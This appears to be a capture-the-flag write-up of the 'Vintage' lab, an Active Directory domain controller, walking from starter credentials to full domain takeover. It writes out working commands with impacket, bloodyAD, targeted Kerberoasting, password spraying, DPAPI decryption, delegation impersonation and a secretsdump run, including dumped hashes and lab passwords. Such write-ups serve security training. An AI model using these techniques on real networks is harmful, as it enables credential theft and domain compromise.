PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-25 15:51:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
64219/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-14T16:58:05
|_ start_date: N/A
Based on the open ports identified by nmap the target is a Domain Controller for the vintage.htb domain with the hostname dc01. I add those to my /etc/hosts file.
Initial Access
Info
As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa:Rosaisbest123
Privilege Escalation
Shell as c.neri
Since I already possess valid credentials I do run bloodhound-python to collect the necessary data to graph the Active Directory. After loading the ZIP file into BloodHound I find some interesting looking accounts c.neri_adm and l.bianchi_adm but no outbound edge from p.rosa.
$ bloodhound-python -u P.Rosa \ -p 'Rosaisbest123' \ -d vintage.htb \ -c All \ -dc dc01.vintage.htb \ --dns-tcp \ -ns 10.129.231.205 \ --dns-timeout 10 \ --zipINFO: BloodHound.py for BloodHound Community EditionINFO: Found AD domain: vintage.htbINFO: Getting TGT for userINFO: Connecting to LDAP server: dc01.vintage.htbINFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 2 computersINFO: Connecting to LDAP server: dc01.vintage.htbINFO: Found 16 usersINFO: Found 58 groupsINFO: Found 2 gposINFO: Found 2 ousINFO: Found 19 containersINFO: Found 0 trustsINFO: Starting computer enumeration with 10 workersINFO: Querying computer: FS01.vintage.htbINFO: Querying computer: dc01.vintage.htbWARNING: Could not resolve: FS01.vintage.htb: All nameservers failed to answer the query FS01.vintage.htb.localdomain. IN A: Server Do53:10.129.231.205@53 answered SERVFAILINFO: Done in 00M 12SINFO: Compressing output into 20250414190707_bloodhound.zip
Interestingly on of the computer accounts is part of the PRE-WINDOWS 2000 COMPATIBLE ACCESS group and selecting this switch during the creation of an computer account sets a deterministic password based on the account name1.
First I create a list of all computer account names through a LDAP query and get 3 accounts back. Notably I have to authenticate via Kerberos otherwise I receive STATUS_NOT_SUPPORTED and this usually means NTLM is disabled.
Going back to BloodHound and looking for interesting edges for the FS01 account I can spot a path to any account within the SERVICEACCOUNTS group. FS01 is able to read the password (hash) of the GMSA01$ group-managed service account, use it to add itself to the SERVICEMANAGERS group that has GenericAll over the three service accounts.
With bloodyAD I retrieve the password hash for the GMSA01$ account and then use it to request a new TGT with getTGT from impacket.
$ impacket-getTGT 'vintage.htb/fs01$':'fs01'Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in fs01$.ccache$ export KRB5CCNAME=fs01\$.ccache$ bloodyAD -k \ --host dc01.vintage.htb \ -d vintage.htb \ -u 'FS01$' \ -p 'fs01' \ get object 'gmsa01$' --attr msDS-ManagedPassworddistinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htbmsDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178msDS-ManagedPassword.B64ENCODED: cA<REMOVED>$ impacket-getTGT -hashes :b3a15bbdfb1c53238d4b50ea2c4d1178 \ 'vintage.htb/gmsa01$'@dc01.vintage.htbImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in gmsa01$@dc01.vintage.htb.ccache$ export KRB5CCNAME=gmsa01\$@dc01.vintage.htb.ccache
After getting a TGT for GMSA01$ I’ll add this account to the SERVICEMANAGERS group with bloodyAD and then request a new TGT so the locally cached ticket is updated.
$ bloodyAD -k \ --host dc01.vintage.htb \ -d VINTAGE.HTB \ add groupMember 'SERVICEMANAGERS' 'GMSA01$'[+] GMSA01$ added to SERVICEMANAGERS$ impacket-getTGT -hashes :b3a15bbdfb1c53238d4b50ea2c4d1178 \ 'vintage.htb/gmsa01$'@dc01.vintage.htbImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in gmsa01$@dc01.vintage.htb.ccache
Now the GenericAll over the three accounts svc_ldap, svc_ark and svc_sql can be abused in multiple ways. One of those is to use targetedKerberoast to add a Service Principal Name (SPN) to those accounts, request a TGS, and try to bruteforce the encryption key (NTLM hash).
Even though I have the rights to modify three accounts the attack only returns two hashes. Investigating the source code of the script I can spot a filter based on disabled accounts2. Looking at the attributes for SVC_SQL in BloodHound confirms that the accounts is not enabled. Since I have the necessary rights, I can modify this attribute as well.
Instead of using targeted Kerberoast it’s also possible to modify the accounts in a way they don’t require pre-authentication and then request TGTs that can be cracked. It’s also needed to enable the SVC_SQL account for this to work.
Since the account SVC_SQL does not have any interesting edges in BloodHound and the other two hashes do not crack, I decide to spray the password against all users within the domain to check for credential re-use. netexec provides a quick way to get a list of users with the --users-export flag. I’ll use this as input for kerbrute to identify any working credentials.
The password apparently also works for c.neri and this account is part of the REMOTE MANAGEMENT USERS group and therefore can use WinRM to access the target host. As mentioned before, the authentication via password or hash does not work and I have to set up Kerberos in order to use evil-winrm. A simple script can perform the heavy lifting (but overwrites the /etc/krb5.conf).
$ python3 configure_krb5.py vintage.htb dc01[*] This script must be run as root[*] Configuration Data:[libdefaults] default_realm = VINTAGE.HTB[realms] VINTAGE.HTB = { kdc = dc01.vintage.htb admin_server = dc01.vintage.htb }[domain_realm] vintage.htb = VINTAGE.HTB .vintage.htb = VINTAGE.HTB[!] Above Configuration will overwrite /etc/krb5.conf, are you sure? [y/N] y[+] /etc/krb5.conf has been configured$ impacket-getTGT vintage.htb/c.neri:Zer0the0neImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in c.neri.ccache$ export KRB5CCNAME=c.neri.ccache$ evil-winrm -i dc01.vintage.htb -r vintage.htb
This allows me to request a new TGT as c.neriand then use that to authenticate to the DC via evil-winrm to get access to the first flag.
Access as c.neri_adm
Looking around on the host I find DPAPI protected secrets for c.neri in C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials. I download the file to inspect it on my host.
Next I try to find the masterkey 99CF41A3-A552-4CF7-A8D7-ACA2D6F7339B in order to decrypt the secret. Those keys are stored in C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID3. The SID of the user can be retrieved from BloodHound or queried via LDAP.
Once again using dpapi but this time on the masterkey while also providing the password and SID for the account, I can retrieve the actual key that was used to encrypt the secret. Then I pass this to the command used earlier to get the cleartext value from the secret. This does return the credentials c.neri_adm:Uncr4ck4bl3P4ssW0rd0312.
BloodHound shows a path from c.neri_adm to take over the domain vintage.htb. Members of the group DELEGATEDADMINS are allowed to act on behalf of the Domain Controller and this means they can impersonate any user on the target (as long as they are not in the Protected Users group or otherwise restricted).
One caveat for this abuse is that the account within DELEGATEDADMINS has to have an SPN set. This is not the case for c.neri_adm but luckily that account is also able to add any other account to said group. The previous attack path already discovered multiple accounts that either have one (FS01$) or can be modified accordingly (SVC_SQL).
Now I can use the credentials for FS01$ to impersonate L.BIANCHI_ADM because that account is part of the DOMAIN ADMINS group.
$ impacket-getST -impersonate L.BIANCHI_ADM -spn host/dc01.vintage.htb \ 'vintage.htb/fs01$:fs01'Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[-] CCache file is not found. Skipping...[*] Getting TGT for user[*] Impersonating L.BIANCHI_ADM[*] Requesting S4U2Proxy[*] Saving ticket in L.BIANCHI_ADM@host_dc01.vintage.htb@VINTAGE.HTB.ccache$ export KRB5CCNAME=L.BIANCHI_ADM@host_dc01.vintage.htb@VINTAGE.HTB.ccache
With the ticket I can dump all the hashes in the domain through secretsdump and get command execution on the DC.
impacket-secretsdump -k -no-pass dc01.vintage.htbImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Target system bootKey: 0xb632ebd8c7df30094b6cea89cdf372be[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:e41bb21e027286b2e6fd41de81bce8db:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] $MACHINE.ACCVINTAGE\DC01$:plain_password_hex:ca385c025f7b81712d83d60e6c6ac2c6787e877114fe8342bd9b496572c6e1f3d2c82dee411d9bbdb6dc1eb7981bea8a7faa98d2b6efab8b3a90f85d48a3ec66c5f2b4c6d2d4ca747927ab1efd025f66a8e6914917e5d1e6112c7f2a668129ae0303f41f6b0b6c01219c09522da4f5cf9050bed3954973f14a4ff49a12f64d570d6cbd466b81c2ec86c0758213f35cf6db976b25aac295fe3e3953ca30cbe3afc9677d932d95cca63da09ad700abc22a9836ddb44de0be762f12f46eba649b293794f50a946898d1a786dfcac9582bd20e8fd21a9678d1e2d82b7bf3dec2f03bf67ab63d73ec4b34968678a77c3f6106VINTAGE\DC01$:aad3b435b51404eeaad3b435b51404ee:2dc5282ca43835331648e7e0bd41f2d5:::[*] DPAPI_SYSTEMdpapi_machinekey:0x329e3f315c1e7294f086908d3d14c990c030305adpapi_userkey:0x2bd12147462ab2b6e92adcb202c9d8258c270790[*] NL$KM 0000 7E F4 65 54 4C 71 04 1D 24 FC 9B ED 7B 0D B1 1B ~.eTLq..$...{... 0010 F0 E6 0E BF EF 13 78 C1 04 48 9F AE 46 49 39 A5 ......x..H..FI9. 0020 D6 A9 94 E1 CC 13 FB 7D 29 02 00 C1 F8 CD 61 F3 .......}).....a. 0030 8C 6D 56 42 1E 8B 3A 92 E1 8E E0 3C 6E 77 04 BC .mVB..:....<nw..NL$KM:7ef465544c71041d24fc9bed7b0db11bf0e60ebfef1378c104489fae464939a5d6a994e1cc13fb7d290200c1f8cd61f38c6d56421e8b3a92e18ee03c6e7704bc[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::--- SNIP ---
Attack Path
flowchart TD
subgraph "Initial Access"
A(Assume Breach) --> B(Credentials for P.Rosa)
end
subgraph "Privilege Escalation"
B -->|Enumerate Computers| C(FS01 in Pre2k)
C -->|Check for default credentials| D(Access as FS01$)
D -->|Read GMSA Password| E(Access as GMSA01$)
E -->|AddSelf to group| F(GenericAll over serviceaccounts)
F -->|Targeted Kerberoast / ASREPRoast| G(Credentials for SVC_SQL)
G -->|Passwordspray| H(Shell as c.neri)
H -->|Decrypt DPAPI secrets| I(Access as c.neri_adm)
I -->|AllowedToAct on behalf of DC01| J(Impersonate l.bianchi_adm)
J -->|DCSync| K(Domain Takeover)
end